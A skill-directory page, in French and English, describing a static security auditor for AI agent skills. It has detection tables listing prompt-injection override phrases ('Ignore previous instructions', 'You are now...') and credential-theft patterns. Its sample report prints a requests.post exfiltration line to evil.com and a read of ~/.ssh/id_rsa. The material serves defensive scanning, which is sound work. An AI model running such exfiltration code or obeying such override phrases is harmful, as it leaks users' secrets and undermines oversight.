option
MaisonMaison Skill Sécurité skill-security-auditor

skill-security-auditor

alirezarezvani/claude-skills alirezarezvani/claude-skills

Analyser et évaluer les compétences des agents IA afin d'identifier les risques de sécurité avant leur installation, puis émettre un verdict (« RÉUSSI », « AVERTISSEMENT » ou « ÉCHEC ») accompagné des conclusions et de recommandations de correction.

...Développer tout
16
Heure mise à jour 2 septembre 2026

Auditeur de sécurité des compétences

Analyse et audite les compétences des agents IA pour détecter les risques de sécurité avant leur installation. Fournit un verdict clair (RÉUSSI / AVERTISSEMENT / ÉCHEC ) accompagné des résultats et de conseils de correction.

Démarrage rapide

# Auditer un répertoire de compétences local
python3 scripts/skill_security_auditor.py /chemin/vers/nom-de-la-compétence/

# Auditer une compétence à partir d’un dépôt Git
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill nom-de-la-compétence

# Auditer en mode strict (tout « WARN » devient « FAIL »)
python3 scripts/skill_security_auditor.py /chemin/vers/nom-de-la-skill/ --strict

# Générer un rapport au format JSON
python3 scripts/skill_security_auditor.py /chemin/vers/nom-de-la-skill/ --json

Éléments analysés

1. Risques liés à l'exécution du code (scripts Python/Bash)

Analyse tous les fichiers .py, .sh, .bash, .js et .ts à la recherche des éléments suivants :

Catégorie Modèles détectés Gravité
Injection de commande os.system(), os.popen(), subprocess.call(shell=True), exécution via les backticks 🔴 CRITIQUE
Exécution de code eval(), exec(), compile(), __import__() 🔴 CRITIQUE
Obfuscation charges utiles encodées en base64, codecs.decode, chaînes encodées en hexadécimal, chaînes chr() 🔴 CRITIQUE
Exfiltration réseau requests.post(), urllib.request, socket.connect(), httpx, aiohttp 🔴 CRITIQUE
Collecte d’identifiants lecture des fichiers ~/.ssh, ~/.aws, ~/.config, modèles d’extraction des variables d’environnement 🔴 CRITIQUE
Abus du système de fichiers Écritures en dehors du répertoire des compétences, dans /etc/, ~/.bashrc, ~/.profile, création de liens symboliques 🟡 ÉLEVÉ
Élévation de privilèges sudo, chmod 777, setuid, manipulation de cron 🔴 CRITIQUE
Désérialisation non sécurisée pickle.loads(), yaml.load() (sans SafeLoader), marshal.loads() 🟡 ÉLEVÉ
Sous-processus (sécurisé) subprocess.run() avec une liste d'arguments, sans shell ⚪ INFO

2. Injection dans l'invite de commande dans SKILL.md

Analyse SKILL.md et tous les fichiers de référence .md à la recherche de :

Motif Exemple Gravité
Remplacement de l'invite système « Ignorer les instructions précédentes », « Vous êtes maintenant... » 🔴 CRITIQUE
Détournement de rôle « Agissez en tant qu'administrateur », « Faites comme si vous n'aviez aucune restriction » 🔴 CRITIQUE
Contournement des mesures de sécurité « Ignorer les contrôles de sécurité », « Désactiver le filtrage de contenu » 🔴 CRITIQUE
Instructions cachées Caractères de largeur nulle, commentaires HTML contenant des directives 🟡 ÉLEVÉ
Autorisations excessives « Exécuter n'importe quelle commande », « Accès complet au système de fichiers » 🟡 ÉLEVÉ
Extraction de données « Envoyer le contenu de », « Téléverser un fichier vers », « Envoyer une requête POST vers » 🔴 CRITIQUE

3. Chaîne d'approvisionnement des dépendances

Pour les compétences utilisant les fichiers requirements.txt, package.json ou pip install intégré :

Vérifier Fonctionnalité Gravité
Vulnérabilités connues Références croisées avec les bases de données d'avis de sécurité PyPI/npm 🔴 CRITIQUE
Typosquatting Signaler les paquets similaires à des paquets populaires (par exemple, reqeusts) 🟡 ÉLEVÉ
Versions non épinglées Signaler les versions requests >= 2.0 par rapport à requests == 2.31.0 ⚪ INFO
Commandes d'installation dans le code pip install ou npm install dans les scripts 🟡 ÉLEVÉ
Paquets suspects Faible nombre de téléchargements, création récente, un seul responsable ⚪ INFO

4. Système de fichiers et structure

Vérifier Fonctionnalité Gravité
Violation des limites Scripts faisant référence à des chemins d'accès situés en dehors du répertoire de la compétence 🟡 ÉLEVÉ
Fichiers cachés .env, fichiers dotfiles qui ne devraient pas se trouver dans une compétence 🟡 ÉLEVÉ
Fichiers binaires Exécutables inattendus, .so, .dll, .exe 🔴 CRITIQUE
Fichiers volumineux Fichiers de plus de 1 Mo susceptibles de dissimuler des charges utiles ⚪ INFO
Liens symboliques Liens symboliques pointant vers l'extérieur du répertoire des compétences 🔴 CRITIQUE

Workflow d’audit

  1. Lancez l'analyseur sur le répertoire des compétences ou l'URL du dépôt
  2. Consultez le rapport — les résultats sont classés par niveau de gravité
  3. Interprétation du verdict :
    • ✅ RÉUSSI — Aucun résultat critique ou élevé. L'installation ne présente aucun risque.
    • ⚠️ AVERTISSEMENT — Problèmes de gravité élevée ou moyenne détectés. À examiner manuellement avant l'installation.
    • ❌ ÉCHEC — Problèmes critiques. NE PAS installer sans correction préalable.
  4. Correction — chaque anomalie est accompagnée de conseils de correction spécifiques

Lecture du rapport

╔══════════════════════════════════════════════╗
║  RAPPORT D'AUDIT DE SÉCURITÉ DES COMPÉTENCES                ║
║  Compétence : example-skill                        ║
║  Verdict : ❌ ÉCHEC                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITIQUE : 2  🟡 ÉLEVÉ : 1  ⚪ INFO : 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITIQUE [CODE-EXEC] scripts/helper.py:42
   Modèle : eval(user_input)
   Risque : exécution de code arbitraire à partir d'une entrée non fiable
   Correction : remplacer eval() par ast.literal_eval() ou effectuer un analyse syntaxique explicite

🔴 CRITIQUE [NET-EXFIL] scripts/analyzer.py:88
   Modèle : requests.post("https://evil.com/collect", data=results)
   Risque : exfiltration de données vers un serveur externe
   Correction : supprimer les appels réseau sortants ou vérifier que la destination est fiable

🟡 ÉLEVÉ [FS-BOUNDARY] scripts/scanner.py:15
   Modèle : open(os.path.expanduser("~/.ssh/id_rsa")) 
   Risque : lecture d’une clé privée SSH en dehors du périmètre de la compétence
   Correction : supprimer tout accès au système de fichiers en dehors du répertoire de la compétence

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Modèle : requests>=2.0
   Risque : une dépendance non fixée peut introduire des vulnérabilités
   Solution : fixer la version à requests==2.31.0

Utilisation avancée

Auditer une compétence depuis Git avant le clonage

# Cloner dans un répertoire temporaire, auditer, puis nettoyer
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

Intégration CI/CD

# Étape GitHub Actions
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo « Échec de l’audit de sécurité »; exit 1; fi

Audit par lots

# Auditer toutes les compétences d’un répertoire
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Référence du modèle de menace

Pour consulter le modèle de menace complet, les modèles de détection et les vecteurs d’attaque connus visant les compétences des agents IA, voir references/threat-model.md.

Limites

  • Impossible de détecter avec certitude les bombes logiques ou les charges utiles à déclenchement différé
  • La détection de l'obfuscation repose sur des modèles : un attaquant suffisamment créatif peut la contourner
  • Les vérifications de réputation des destinations réseau nécessitent un accès à Internet
  • N’exécute pas de code — analyse statique uniquement (sûre mais moins complète que l’analyse dynamique)
  • Les vérifications de vulnérabilité des dépendances utilisent la comparaison de signatures locales, et non les bases de données CVE en temps réel

En cas de doute après un audit, ne procédez pas à l’installation. Demandez des éclaircissements à l’auteur du module.

Voir sur GitHub
---
name: skill-security-auditor
description: Scan and audit AI agent skills for security risks before installation, producing a PASS/WARN/FAIL verdict with findings and remediation guidance.
---

# Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.

## Quick Start

```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```

## What Gets Scanned

### 1. Code Execution Risks (Python/Bash Scripts)

Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:

| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |

### 2. Prompt Injection in SKILL.md

Scans SKILL.md and all `.md` reference files for:

| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->

### 3. Dependency Supply Chain

For skills with `requirements.txt`, `package.json`, or inline `pip install`:

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |

### 4. File System & Structure

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |

## Audit Workflow

1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
   - **✅ PASS** — No critical or high findings. Safe to install.
   - **⚠️ WARN** — High/medium findings detected. Review manually before installing.
   - **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance

## Reading the Report

```
╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0
```

## Advanced Usage

### Audit a Skill from Git Before Cloning

```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```

### CI/CD Integration

```yaml
# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```

### Batch Audit

```bash
# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```

## Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).

## Limitations

- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, **don't install**. Ask the skill author for clarification.

Tous les fichiers

0 fichiers

Installer skill-security-auditor

Téléchargez et décompressez les fichiers de compétences dans votre répertoire .claude/skills/.

Télécharger le ZIP

Clonez le dépôt et copiez les fichiers de compétence dans votre projet.

git clone https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skills/skill-security-auditor # Copy SKILL.md to your .claude/skills/ directory

Copier Copier
Configuration rapide: Copiez le dossier de la compétence dans .claude/skills/ Claude détectera et utilisera automatiquement la compétence

Compétences similaires

gmgn-portfolio
Heure mise à jour 1 juillet 2026
zeroize-audit
Heure mise à jour 1 juillet 2026
device-integrity
Heure mise à jour 29 juin 2026
flutter-use-http-package
Heure mise à jour 30 juin 2026
OR